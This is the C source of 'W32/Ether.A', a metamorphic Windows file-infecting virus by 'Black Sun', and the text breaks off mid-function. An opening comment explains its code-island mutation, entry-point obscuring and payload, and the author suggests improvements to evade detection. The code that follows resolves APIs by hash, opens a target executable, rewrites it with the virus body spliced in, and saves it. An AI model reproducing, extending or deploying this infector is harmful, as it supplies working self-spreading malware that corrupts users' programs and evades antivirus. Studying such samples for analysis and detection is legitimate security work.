/*
___________ __  .__                  
\_   _____//  |_|  |__   ___________ 
 |    __)_\   __\  |  \_/ __ \_  __ \
 |        \|  | |   Y  \  ___/|  | \/
/_______  /|__| |___|  /\___  >__|   
        \/           \/     \/       

===- W32/Ether.A by Black Sun - 32-bit Metamorphic Code Island Integration Virus

The name Ether is derived from the celestial, immaterial, and abstract nature
of the conceptual in contrast to the frozen, material realm of the physical.

===- Instruction dissociation, mutation and integration

The solvent and solute of a given infection depends upon the number of
instructions in this virus, in contrast to the number of instructions in a
target PE32. A depiction of the interaction:
         
Solvent:                                   Solute:
      
Push Ebp <- Solvent entry point            Push 16 <- Solute entry point                   
Mov Ebp, Esp                               Push GPTR                                       
Sub Esp, 08h   Kernel32.dll!GlobalAlloc -> Call Dword [Esi] 
Mov Eax, <0x0040XXXX> <- "Solvent program" Mov Dword [Eax], 'uloS'    
Mov Dword [Ebp - 04h], Eax                 Mov Word [Eax + 4], 'et'                        
Mov Dword [Ebp - 08h], 0                   Mov Edi, Eax                                    
Push Dword [Ebp - 04h]                     Push 'mar'                                      
Call Dword [<Kernel32.dll!lstrlenA>]       Push 'gorP'                                     
Mov Esi, Eax                               Mov Eax, Esp                                    
NextCharacter:                             Push 0                                          
Cmp Dword [Ebp -08h], Esi                  Push Eax                                        
Jge Finished                               Push Edi                                        
Push Dword [Ebp - 04h]                     Push 0                                          
Push Dword [<0x0040XXXX>] <- "%c"          Call Dword [Esi + 04h]
Call Dword [<Msvcrt.dll!printf>]           Ret  ^                
Inc Dword [Ebp - 08h]                      |    User32.dll!MessageBoxA               
Inc Dword [Ebp -04h]                       |                   
Jmp NextCharacter                          |                   
Finished:                                  |                   
Mov Esp, Ebp                               |                   
Pop Ebp                                    |                   
Ret                                        |     
|                                          |
|----------------------------+-------------|
                             |
                             |    
Solvate: <-------------------|

Island1:
Mov Esi, Eax
NextCharacter:
Cmp Dword [Ebp - 08h], Esi
Jge Finished
Push Dword [Ebp - 04h]
Jmp Island5
Island2:
Mov Dword [Esp], 0
Sub Esp, 04h
Push Eax
Push Edi
Mov Dword [Esp], 0
Sub Esp, 04h
Call Dword [Esi + 04h] <- User32.dll!MessageBoxA
Ret
Island3:
Push Ebp <- Solvate entry point/original solvent entry point
Mov Ebp, Esp
Sub Esp, 08h
Mov Dword [Ebp - 04h], <0x0040XXXX> <- ASCII "Solvent program"
Mov Dword [Ebp - 08h], 0
Push Dword [Ebp - 04h]
Call Dword [<Kernel32.dll!lstrlenA>]
Jmp Island1
Island4:
Push 'uloS'
Pop Dword [Eax]                  
Mov Word [Eax + 4], 'et'
Push Eax
Pop Edi                                             
Push 'mar'                                  
Push 'gorP'
Push Esp
Pop Eax                             
Jmp Island2
Island5:
Push Dword [<0x0040XXXX>] <- "%c"
Call Dword [<Msvcrt.dll!printf>]
Inc Dword [Ebp - 08h]
Inc Dword [Ebp -04h]
Jmp NextCharacter
Finished:
Mov Esp, Ebp
Pop Ebp
Ret
Island6:
Push 16 <- Original solute entry point                
Mov Dword [Esp], GPTR
Sub Esp, 04h                                
Call Dword [Esi] <- Kernel32.dll!GlobalAlloc
Jmp Island4

The mutation consists of synonymization of virus instructions, the encryption
of constant data within those instructions, and permutation via code winding
in both the host and virus codes. Physical host and virus codes are passed
through the firmament, dissociating them and abstracting them to a logical
intermediary layer of ethereal fragments, which are then segmented into
islands, shuffled, and dissolved into oneanother. This ethereal logic is then
once again frozen into a solid, material form of x86 byte code and the
solvate PE32 program is fully re-generated to accomodate it.

===- Payload and infection vectors

The virus targets PE32 the Specimin.exe file in the current directory, if and
only if it meets specific geometric criteria. Among these, is the presence of
relocations in order for the virus to perform its de-compilations. For this
reason, mainly DLL files are affected. The payload is activated everytime a
new file is infected. First the solvent, and then the solvate content is
converted to sound and projected in WAV format. A timer also determines the
potential of an identification message displaying itself at random on an
infected system.

EPO is performed by integrating an IAT-based call in to the code section
which will execute the virus as a seperate thread. The virus may never
receive control, due to the random nature of the detour.

===- Suffix

All programs, including virus programs, are simply logical, algorithmical
substances. They are a meaning, perspective, and premonition of an action of
tangible importance to their creator. This piece is meant to demonstrate the
distinction between the physical and ethereal states of logical matter, and
the firmament that divides them.

This code was forced, due to time constraints, to sacrifice some of its
stability. PE32 de-compilation is a highly complex process and there are
a variety of known issues within the engine at this point:
          
- Switch index array data tables within the code segment are not properly
  identified or handled. Switch address tables are handled fine.
- Exports are not always correctly handled upon 2nd-generation infections,
  resulting in crashes.
- Certain abnormal PE32 structure geometric traits can cause issues in 1st
  generation infections.
  
Ultimately this is an initial, .A variant which represents the primary concept
and base engine for code island integration/metamorphism synthesis. There are
many things that can and should be improved to increase the difficulty of
detection, and also many things that should be fixed for the sake of stability.

Alea iacta est,
Black Sun, Fall 2013

===- Legal Disclaimer

This is a "zoo" virus. It was not written with the intention of spreading in
the wild and is meant as a proof-of-concept program for malware analysts and
security researchers. This virus does not include a damaging payload. It is
exclusively crafted to only target designated specimin binaries.

*/

[Ether.c]

#include <Windows.h>
#include <Ntsecapi.h>

#include "Ether.h"
#include "PEB.h"

VOID
PrimaryEtherInitialization // Default entry point is the top of the .text section. Germ must be compiled in this context.
(DWORD dwCanaryToken)
{
    PPEB pPEB;
    API_TABLE APITable;
    PLDR_MODULE pNtDLLLDRModule;
    DWORD dwKernel32NameString[5], dwImagehlpNameString[5], dwUser32NameString[4], dwMsvcrtNameString[4];
    UNICODE_STRING usKernel32NameString, usUser32NameString, usMsvcrtNameString, usImagehlpNameString;
    HANDLE hTargetPE32=NULL;
    PBYTE pTargetPE32Pool, pSynonymousPE32Pool;
    BOOL bGermInstance=TRUE;
    
    asm("Mov %0, Dword Ptr Fs:[0x30] \n" : "=r" (pPEB));
    
    pNtDLLLDRModule=((PBYTE)pPEB->LoaderData->InMemoryOrderModuleList.Flink - InMemoryOrderModuleListDelta);
    pNtDLLLDRModule=((PBYTE)pNtDLLLDRModule->InMemoryOrderModuleList.Flink - InMemoryOrderModuleListDelta);
    
    APITable.dwNtDLLBase=pNtDLLLDRModule->BaseAddress;
    
    dwKernel32NameString[0]=('K' | ('e' << 16));
    dwKernel32NameString[1]=('r' | ('n' << 16));
    dwKernel32NameString[2]=('e' | ('l' << 16));
    dwKernel32NameString[3]=('3' | ('2' << 16));
    dwKernel32NameString[4]=0;
    
    (APITable.RtlInitUnicodeString=(RTLINITUNICODESTRING)GetFunctionAddress(APITable.dwNtDLLBase, 0x0E1D80AE))(&usKernel32NameString, &dwKernel32NameString);
    (APITable.LdrLoadDll=(LDRLOADDLL)GetFunctionAddress(APITable.dwNtDLLBase, 0x000353C8))(NULL, 0, &usKernel32NameString, &APITable.dwKernel32Base);
    
    DWORD dwUniqueMutexNameString[4];
    HANDLE hUniqueMutex;
    
    dwUniqueMutexNameString[0]=('E' | ('t' << 16));
    dwUniqueMutexNameString[1]=('h' | ('e' << 16));
    dwUniqueMutexNameString[2]=('r' | (0x00 << 16));
    dwUniqueMutexNameString[3]=0;
        
    if((hUniqueMutex=(APITable.CreateMutexW=GetFunctionAddress(APITable.dwKernel32Base, 0x000CF396))(0, TRUE, &dwUniqueMutexNameString)) != NULL)
    {
        if((APITable.RtlGetLastWin32Error=GetFunctionAddress(APITable.dwNtDLLBase, 0x0E127BF0))() == ERROR_ALREADY_EXISTS)
        {
            return;
        }
    }
    else
    {
        return;
    }
    
    dwUser32NameString[0]=('U' | ('s' << 16));
    dwUser32NameString[1]=('e' | ('r' << 16));
    dwUser32NameString[2]=('3' | ('2' << 16));
    dwUser32NameString[3]=0;
    
    dwMsvcrtNameString[0]=('M' | ('s' << 16));
    dwMsvcrtNameString[1]=('v' | ('c' << 16));
    dwMsvcrtNameString[2]=('r' | ('t' << 16));
    dwMsvcrtNameString[3]=0;
    
    dwImagehlpNameString[0]=('I' | ('m' << 16));
    dwImagehlpNameString[1]=('a' | ('g' << 16));
    dwImagehlpNameString[2]=('e' | ('h' << 16));
    dwImagehlpNameString[3]=('l' | ('p' << 16));
    dwImagehlpNameString[4]=0;
    
    APITable.RtlInitUnicodeString(&usUser32NameString, &dwUser32NameString);
    APITable.RtlInitUnicodeString(&usMsvcrtNameString, &dwMsvcrtNameString);
    APITable.RtlInitUnicodeString(&usImagehlpNameString, &dwImagehlpNameString);
    
    APITable.LdrLoadDll(NULL, 0, &usUser32NameString, &APITable.dwUser32Base);
    APITable.LdrLoadDll(NULL, 0, &usMsvcrtNameString, &APITable.dwMsvcrtBase);
    APITable.LdrLoadDll(NULL, 0, &usImagehlpNameString, &APITable.dwImagehlpBase);
    
    (APITable.Srand=(SRAND)GetFunctionAddress(APITable.dwMsvcrtBase, 0x00001B08))((APITable.GetTickCount=(GETTICKCOUNT)GetFunctionAddress(APITable.dwKernel32Base, 0x000D1ED8))());
    APITable.lstrcmpA=(LSTRCMPA)GetFunctionAddress(APITable.dwKernel32Base, 0x0000DCDA);
    APITable.lstrcmpiA=(LSTRCMPIA)GetFunctionAddress(APITable.dwKernel32Base, 0x0001BA96);
    APITable.IsBadReadPtr=(ISBADREADPTR)GetFunctionAddress(APITable.dwKernel32Base, 0x000D40D4);
    APITable.lstrcpyA=(LSTRCPYA)GetFunctionAddress(APITable.dwKernel32Base, 0x0000DD16);
    APITable.lstrcpyW=(LSTRCPYW)GetFunctionAddress(APITable.dwKernel32Base, 0x0000DD42);
    APITable.lstrlenA=(LSTRLENA)GetFunctionAddress(APITable.dwKernel32Base, 0x0000DD22);
    APITable.lstrlenW=(LSTRLENW)GetFunctionAddress(APITable.dwKernel32Base, 0x0000DD4E);
    APITable.GlobalFree=(GLOBALFREE)GetFunctionAddress(APITable.dwKernel32Base, 0x0003460E);
    APITable.Rand=(RAND)GetFunctionAddress(APITable.dwMsvcrtBase, 0x00000CA8);
    APITable.CheckSumMappedFile=(CHECKSUMMAPPEDFILE)GetFunctionAddress(APITable.dwImagehlpBase, 0x0329A7E2);
    APITable.lstrcpynW=(LSTRCPYNW)GetFunctionAddress(APITable.dwKernel32Base, 0x0001BB4E);
    (APITable.RtlAddVectoredExceptionHandler=(RTLADDVECTOREDEXCEPTIONHANDLER)GetFunctionAddress(APITable.dwNtDLLBase, 0xFD705618))(1, (APITable.RtlExitUserThread=(RTLEXITUSERTHREAD)GetFunctionAddress(APITable.dwNtDLLBase, 0x01C3FE94)));
    
    DWORD dwSpeciminFilePathString[7], dwTargetPE32PoolSize, dwBytesRead=0;
    
    dwSpeciminFilePathString[0]=('S' | ('p' << 16));
    dwSpeciminFilePathString[1]=('e' | ('c' << 16));
    dwSpeciminFilePathString[2]=('i' | ('m' << 16));
    dwSpeciminFilePathString[3]=('i' | ('n' << 16));
    dwSpeciminFilePathString[4]=('.' | ('e' << 16));
    dwSpeciminFilePathString[5]=('x' | ('e' << 16));
    dwSpeciminFilePathString[6]=0;
    
    if((hTargetPE32=(APITable.CreateFileW=(CREATEFILEW)GetFunctionAddress(APITable.dwKernel32Base, 0x00067772))(&dwSpeciminFilePathString, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL)) == INVALID_HANDLE_VALUE)
    {   
        return;
    }

    pTargetPE32Pool=(APITable.GlobalAlloc=(GLOBALALLOC)GetFunctionAddress(APITable.dwKernel32Base, 0x00068C42))(GPTR, (dwTargetPE32PoolSize=(APITable.GetFileSize=(GETFILESIZE)GetFunctionAddress(APITable.dwKernel32Base, 0x0006834A))(hTargetPE32, NULL)));

    (APITable.ReadFile=(READFILE)GetFunctionAddress(APITable.dwKernel32Base, 0x0000D562))(hTargetPE32, pTargetPE32Pool, dwTargetPE32PoolSize, &dwBytesRead, NULL);
    
    PIMAGE_DOS_HEADER pTargetDOSHeader;
    PIMAGE_OPTIONAL_HEADER pTargetOptionalHeader32;
    PIMAGE_FILE_HEADER pTargetFileHeader;
    PIMAGE_SECTION_HEADER pTargetSectionHeaders;
    
    pTargetDOSHeader=(PIMAGE_DOS_HEADER)pPEB->ImageBase;
    pTargetFileHeader=(PIMAGE_FILE_HEADER)(pPEB->ImageBase + pTargetDOSHeader->e_lfanew + 4);
    pTargetOptionalHeader32=(PIMAGE_OPTIONAL_HEADER)((PBYTE)pTargetFileHeader + sizeof(IMAGE_FILE_HEADER));
    pTargetSectionHeaders=(PIMAGE_SECTION_HEADER)((PBYTE)pTargetOptionalHeader32 + sizeof(IMAGE_OPTIONAL_HEADER));
    
    // Germ? Use the current code section based as the payload pool. Otherwise, this is an absolute address indicating the location of the frozen code island table.
    
    PBYTE pFrozenCodeIslandAbstractionPool, pPayloadPool;
    DWORD dwBytesWritten, dwPayloadPoolSize;
    
    pFrozenCodeIslandAbstractionPool=0xA1B1C1FE;
    pPayloadPool=(pTargetSectionHeaders->VirtualAddress + pPEB->ImageBase);
    
    if(((DWORD)pFrozenCodeIslandAbstractionPool & 0xA1B1C100) == 0xA1B1C100)
    {
        dwPayloadPoolSize=pTargetSectionHeaders->Misc.VirtualSize;
        
        pFrozenCodeIslandAbstractionPool=NULL;
    }
    else
    {
        DWORD dwMessageString[13], dwCurrentFrozenCodeIslandOffset, dwCurrentCodeIslandIndex;
        PX86_CODE_ABSTRACTION_TABLE pPayloadCodeAbstractionTable;
        
        dwMessageString[0]=('W' | ('3' << 16));
        dwMessageString[1]=('2' | ('/' << 16));
        dwMessageString[2]=('E' | ('t' << 16));
        dwMessageString[3]=('h' | ('e' << 16));
        dwMessageString[4]=('r' | ('.' << 16));
        dwMessageString[5]=('A' | (' ' << 16));
        dwMessageString[6]=('b' | ('y' << 16));
        dwMessageString[7]=(' ' | ('B' << 16));
        dwMessageString[8]=('l' | ('a' << 16));
        dwMessageString[9]=('c' | ('k' << 16));
        dwMessageString[10]=(' ' | ('S' << 16));
        dwMessageString[11]=('u' | ('n' << 16));
        dwMessageString[12]=0;
    
        (APITable.MessageBoxW=(MESSAGEBOXW)GetFunctionAddress(APITable.dwUser32Base, 0x0006B846))(NULL, &dwMessageString, &dwMessageString, 0);
        
        if((pPayloadCodeAbstractionTable=AnalyzeX86IsolatedCodeSequence(&APITable, pPayloadPool, (DWORD)pFrozenCodeIslandAbstractionPool - ((DWORD)pPEB->ImageBase + pTargetSectionHeaders->VirtualAddress))) == NULL)
        {
            return;
        }
        
        pPayloadPool=APITable.GlobalAlloc(GPTR, (dwPayloadPoolSize=pPayloadCodeAbstractionTable->dwTotalCodeSize));
        
        PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeX86AbstractionIslandTable=APITable.GlobalAlloc(GPTR, sizeof(X86_CODE_ISLAND_ABSTRACTION_TABLE) + ((*(PDWORD)&pFrozenCodeIslandAbstractionPool[0] + 1) * sizeof(X86_CODE_ISLAND_ABSTRACTION)));
        PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction;
        
        pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands=*(PDWORD)&pFrozenCodeIslandAbstractionPool[0];

        for(dwCurrentCodeIslandIndex=0, dwCurrentFrozenCodeIslandOffset=8; dwCurrentCodeIslandIndex <= *(PDWORD)&pFrozenCodeIslandAbstractionPool[0]; dwCurrentCodeIslandIndex++)
        {
            for(pCurrentX86InstructionAbstraction=pPayloadCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentX86InstructionAbstraction != NULL; pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction)
            {
                if(pCurrentX86InstructionAbstraction->dwInstructionOffset == *(PDWORD)&pFrozenCodeIslandAbstractionPool[dwCurrentFrozenCodeIslandOffset])
                {
                    pCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pInitialX86CodeIslandInstruction=pCurrentX86InstructionAbstraction;

                    if(!dwCurrentCodeIslandIndex == 0)
                    {
                        pCodeX86AbstractionIslandTable->pOEPX86InstructionAbstraction=pCurrentX86InstructionAbstraction;
                    }
                }
                else if(pCurrentX86InstructionAbstraction->dwInstructionOffset == *(PDWORD)&pFrozenCodeIslandAbstractionPool[dwCurrentFrozenCodeIslandOffset + 4])
                {
                    pCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pFinalX86CodeIslandInstruction=pCurrentX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction;
                }
            }
            
            dwCurrentFrozenCodeIslandOffset += 8;
        }
        
        ExtendEtherealX86BranchInstructions(pPayloadCodeAbstractionTable);
        dwPayloadPoolSize=RefreshEtherealX86InstructionIslandTable(pCodeX86AbstractionIslandTable);
        
        SolidifyX86CodeIslandAbstractions(&APITable, pCodeX86AbstractionIslandTable, &pPayloadPool, &dwPayloadPoolSize, NULL);

        bGermInstance=FALSE;
    }
    
    DWORD dwSynonymousPE32PoolSize;
    
    if(IntegratePayload32(&APITable, pTargetPE32Pool, dwTargetPE32PoolSize, pPayloadPool, dwPayloadPoolSize, &pSynonymousPE32Pool, &dwSynonymousPE32PoolSize, bGermInstance, pFrozenCodeIslandAbstractionPool))
    {
        dwBytesWritten=0;
        
        (APITable.SetFilePointer=(SETFILEPOINTER)GetFunctionAddress(APITable.dwKernel32Base, 0x00371ED8))(hTargetPE32, NULL, NULL, FILE_BEGIN);
        (APITable.WriteFile=(WRITEFILE)GetFunctionAddress(APITable.dwKernel32Base, 0x0001CA42))(hTargetPE32, pSynonymousPE32Pool, dwSynonymousPE32PoolSize, &dwBytesWritten, NULL);
    }
        
    (APITable.CloseHandle=(CLOSEHANDLE)GetFunctionAddress(APITable.dwKernel32Base, 0x00067E1A))(hTargetPE32);
    
    return;
}

DWORD
GetFunctionAddress
(DWORD dwModuleBase, DWORD dwFunctionCheckSum)
{
    PDWORD pdwAddressOfNames, pdwAddressOfFunctions;
    PWORD pwAddressOfNameOrdinals;
    DWORD dwX, dwY, dwFunctionAddress;
    PBYTE pFunctionName;   
    PIMAGE_DOS_HEADER pImageDOSHeader=(PIMAGE_DOS_HEADER)dwModuleBase;
    PIMAGE_FILE_HEADER pImageFileHeader=(PIMAGE_FILE_HEADER)(dwModuleBase + pImageDOSHeader->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER pImageOptionalHeader=(PIMAGE_OPTIONAL_HEADER)((PBYTE)pImageFileHeader + sizeof(IMAGE_FILE_HEADER));
    PIMAGE_EXPORT_DIRECTORY pImageExportDirectory=(dwModuleBase + pImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    
	pdwAddressOfNames=(PDWORD)(dwModuleBase + pImageExportDirectory->AddressOfNames);
	pwAddressOfNameOrdinals=(PWORD)(dwModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
	pdwAddressOfFunctions=(PDWORD)(dwModuleBase + pImageExportDirectory->AddressOfFunctions);
        
    for(dwX=0, dwFunctionAddress=0; dwX < pImageExportDirectory->NumberOfNames; dwX++)
    {
        pFunctionName=(PBYTE)(dwModuleBase + pdwAddressOfNames[dwX]);
            
        for(dwY=0; *pFunctionName; *pFunctionName++)
        {
            dwY=(dwY + (*(PBYTE)pFunctionName|0x60));
            dwY <<= 1;
        }
            
        if(dwY == dwFunctionCheckSum)
        {
            dwFunctionAddress=(dwModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinals[dwX]]);
            
            break;
        }
    }

    return dwFunctionAddress;
}

PX86_CODE_ABSTRACTION_TABLE
AnalyzeX86IsolatedCodeSequence
(PAPI_TABLE pAPITable, PBYTE pCodePool, DWORD dwCodePoolSize)
{
    DWORD dwCodeOffset, dwCurrentInstructionLength;
    PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction=NULL, pPreviousX86InstructionAbstraction=NULL;
    PX86_CODE_ABSTRACTION_TABLE pCodeX86InstructionAbstractionTable=pAPITable->GlobalAlloc(GPTR, sizeof(X86_CODE_ABSTRACTION_TABLE));
    
    for(dwCodeOffset=0, dwCurrentInstructionLength=0; dwCodeOffset < dwCodePoolSize; dwCodeOffset += dwCurrentInstructionLength, pCodeX86InstructionAbstractionTable->dwNumberOfInstructions++)
    {   
        if((pCurrentX86InstructionAbstraction=IdentifyX86Instruction(pAPITable, pCodePool, dwCodeOffset)) == NULL)
        {            
            return NULL;
        }
     
        if(pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction == NULL)
        {
            pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction=pCurrentX86InstructionAbstraction;
            
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagEntryPoint;
        }
        else
        {
            pPreviousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentX86InstructionAbstraction;
            pCurrentX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousX86InstructionAbstraction;
        }
        
        pPreviousX86InstructionAbstraction=pCurrentX86InstructionAbstraction;
        
        dwCurrentInstructionLength=pCurrentX86InstructionAbstraction->dwInstructionLength;
        
        pCurrentX86InstructionAbstraction->dwInstructionOffset=dwCodeOffset;
    }
    
    pCodeX86InstructionAbstractionTable->dwTotalCodeSize=dwCodePoolSize;
    
    IdentifyEtherealX86BranchCorrespondences(pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction);
    
    return pCodeX86InstructionAbstractionTable;
}

PX86_CODE_ABSTRACTION_TABLE
AnalyzeX86PE32CodeSequence
(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwCodePoolSize, PRELOCATION_ABSTRACTION pRelocationAbstractions, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable)
{
    PIMAGE_DOS_HEADER pTargetImageDOSHeader=pTargetPE32Pool;
    PIMAGE_FILE_HEADER pTargetImageFileHeader=(PBYTE)pTargetPE32Pool + pTargetImageDOSHeader->e_lfanew + 4;
    PIMAGE_OPTIONAL_HEADER pTargetImageOptionalHeader=(PBYTE)pTargetImageFileHeader + sizeof(IMAGE_FILE_HEADER);
    PIMAGE_SECTION_HEADER pTargetImageSectionHeader=(PBYTE)pTargetImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER);
    DWORD dwCodeSectionIndex, dwCodeSectionNameString[2];
    
    dwCodeSectionNameString[0]='xet.';
    dwCodeSectionNameString[1]='t';
    
    if((dwCodeSectionIndex=GetSectionIndexByName(pAPITable, pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, &dwCodeSectionNameString)) == -1)
    {
        return FALSE;
    }
    
    // Sequentially disassemble code section: unknown opcodes, and instructions with absolute addresses in inappropriate locations are indications of an error
    
    DWORD dwCurrentInstructionSymbolLength, dwDisassemblyStatus=DISASSEMBLY_STATUS_SUCCESS, dwTargetPE32Offset, dwCurrentInstructionLength;
    PX86_INSTRUCTION_ABSTRACTION pTemporaryX86InstructionAbstraction, pCurrentX86InstructionAbstraction=NULL, pPreviousX86InstructionAbstraction=NULL, pSwitchTableInstructionAbstraction;
    PRELOCATION_ABSTRACTION pCurrentRelocationAbstraction;
    DWORD dwExportedFunctionOffset, dwX;
    int nAbsoluteAddressInstructionOffset;
    PX86_INSTRUCTION_ABSTRACTION pSwitchReferenceInstructionAbstraction;
    PEXPORT_ABSTRACTION pCurrentExportAbstraction;
    PX86_CODE_ABSTRACTION_TABLE pCodeX86InstructionAbstractionTable=pAPITable->GlobalAlloc(GPTR, sizeof(X86_CODE_ABSTRACTION_TABLE));
            
    for(dwTargetPE32Offset=(pTargetImageSectionHeader + dwCodeSectionIndex)->PointerToRawData, dwCurrentInstructionLength=0; dwTargetPE32Offset < ((pTargetImageSectionHeader + dwCodeSectionIndex)->PointerToRawData + dwCodePoolSize); dwTargetPE32Offset += dwCurrentInstructionLength, pCodeX86InstructionAbstractionTable->dwNumberOfInstructions++)
    {   
        if((pCurrentX86InstructionAbstraction=IdentifyX86Instruction(pAPITable, pTargetPE32Pool, dwTargetPE32Offset)) == NULL)
        {             
            return NULL;
        }
     
        if(pPreviousX86InstructionAbstraction != NULL)
        {
            if((*(PWORD)&pPreviousX86InstructionAbstraction->Data[0] == 0 || *(PWORD)&pPreviousX86InstructionAbstraction->Data[0] == 0xFFFF) && (*(PWORD)&pCurrentX86InstructionAbstraction->Data[0] == 0 || *(PWORD)&pCurrentX86InstructionAbstraction->Data[0] == 0xFFFF) && (pCurrentX86InstructionAbstraction->dwInstructionLength == 2 && (pPreviousX86InstructionAbstraction->dwInstructionLength == 2 || pPreviousX86InstructionAbstraction->dwDataSize == 2)))
            {
                pPreviousX86InstructionAbstraction->dwDataSize=2;
                pPreviousX86InstructionAbstraction->dwInstructionLength=0;
                pCurrentX86InstructionAbstraction->dwDataSize=2;
                pCurrentX86InstructionAbstraction->dwInstructionLength=0;
            }
        }
        
        if(pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction == NULL)
        {
            pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction=pCurrentX86InstructionAbstraction;
        }
        else
        {
            pPreviousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentX86InstructionAbstraction;
            pCurrentX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousX86InstructionAbstraction;
        }
        
        pPreviousX86InstructionAbstraction=pCurrentX86InstructionAbstraction;
        
        if(((dwTargetPE32Offset - (pTargetImageSectionHeader + dwCodeSectionIndex)->PointerToRawData) + (pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress) == pTargetImageOptionalHeader->AddressOfEntryPoint)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= (X86InstructionExtendedFlagEntryPoint|X86InstructionExtendedFlagReferencedAddress);
        }
        
        // Check for absolute address correspondences within this instruction
        
        for(pCurrentRelocationAbstraction=pRelocationAbstractions; pCurrentRelocationAbstraction != NULL; pCurrentRelocationAbstraction=pCurrentRelocationAbstraction->pNextRelocationAssociation)
        {
            if(pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex == dwCodeSectionIndex)
            {
                // Potentially associate absolute address location and current instruction
                
                nAbsoluteAddressInstructionOffset=(((pTargetImageSectionHeader + pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex)->PointerToRawData + pCurrentRelocationAbstraction->dwAbsoluteAddressLocationOffset) - dwTargetPE32Offset);
                
                if(nAbsoluteAddressInstructionOffset >= 0 && nAbsoluteAddressInstructionOffset < (pCurrentX86InstructionAbstraction->dwInstructionLength == 0 ? pCurrentX86InstructionAbstraction->dwDataSize : pCurrentX86InstructionAbstraction->dwInstructionLength))
                {
                    if(nAbsoluteAddressInstructionOffset == 0)
                    {
                        pCurrentX86InstructionAbstraction->dwDataSize=4;
                        pCurrentX86InstructionAbstraction->dwDataOffset=0;
                        pCurrentX86InstructionAbstraction->dwMemoryOffset=0;
                        pCurrentX86InstructionAbstraction->dwInstructionLength=0;
                        pCurrentX86InstructionAbstraction->dwStandardFlags=0;
                        pCurrentX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagReferencedAddress;
                        pCurrentX86InstructionAbstraction->pDataRelocationAbstraction=pCurrentRelocationAbstraction;
                        
                        RelocateMemory(pCurrentX86InstructionAbstraction->Data, pTargetPE32Pool + dwTargetPE32Offset, 4);
                        
                        pCurrentRelocationAbstraction->pLocationSymbol=pCurrentX86InstructionAbstraction;
                        pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION;
                            
                        dwDisassemblyStatus=DISASSEMBLY_STATUS_DATA_ERROR;
                    }
                    else if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32) || (pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory32))
                    {
                        if(pCurrentX86InstructionAbstraction->dwDataOffset == nAbsoluteAddressInstructionOffset)
                        {   
                            pCurrentX86InstructionAbstraction->pDataRelocationAbstraction=pCurrentRelocationAbstraction;
                            
                            pCurrentRelocationAbstraction->pLocationSymbol=pCurrentX86InstructionAbstraction;
                            pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION;
                        }
                        else if(pCurrentX86InstructionAbstraction->dwMemoryOffset == nAbsoluteAddressInstructionOffset)
                        {
                            pCurrentX86InstructionAbstraction->pMemoryRelocationAbstraction=pCurrentRelocationAbstraction;
                            
                            pCurrentRelocationAbstraction->pLocationSymbol=pCurrentX86InstructionAbstraction;
                            pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_CODE_MEMORY_LOCATION;
                        }
                        else
                        {
                            dwDisassemblyStatus=DISASSEMBLY_STATUS_FATAL_ERROR;
                        
                            break;
                        }
                    }
                    else
                    {
                        dwDisassemblyStatus=DISASSEMBLY_STATUS_FATAL_ERROR;
                        
                        break;
                    }
                }
            }
        }      
        
        if(dwDisassemblyStatus == DISASSEMBLY_STATUS_FATAL_ERROR)
        {
            break;
        }
        
        if(pExportAbstractionTable != NULL)
        {
            for(pCurrentExportAbstraction=pExportAbstractionTable->pExportAbstractions; pCurrentExportAbstraction != NULL; pCurrentExportAbstraction=pCurrentExportAbstraction->pNextExportAbstraction)
            {
                dwExportedFunctionOffset=(((pTargetImageSectionHeader + pCurrentExportAbstraction->dwExportedFunctionSectionIndex)->PointerToRawData + pCurrentExportAbstraction->dwExportedFunctionSectionOffset) - dwTargetPE32Offset);
                
                if(dwExportedFunctionOffset == 0)
                {
                    pCurrentExportAbstraction->pLocationSymbol=pCurrentX86InstructionAbstraction;
                    pCurrentX86InstructionAbstraction->pExportAbstraction=pCurrentExportAbstraction;
                }
            }
        }
    
        if(pCurrentX86InstructionAbstraction->dwInstructionLength == 0)
        {
            dwCurrentInstructionLength=pCurrentX86InstructionAbstraction->dwDataSize;
        }
        else
        {
            dwCurrentInstructionLength=pCurrentX86InstructionAbstraction->dwInstructionLength;
        }
        
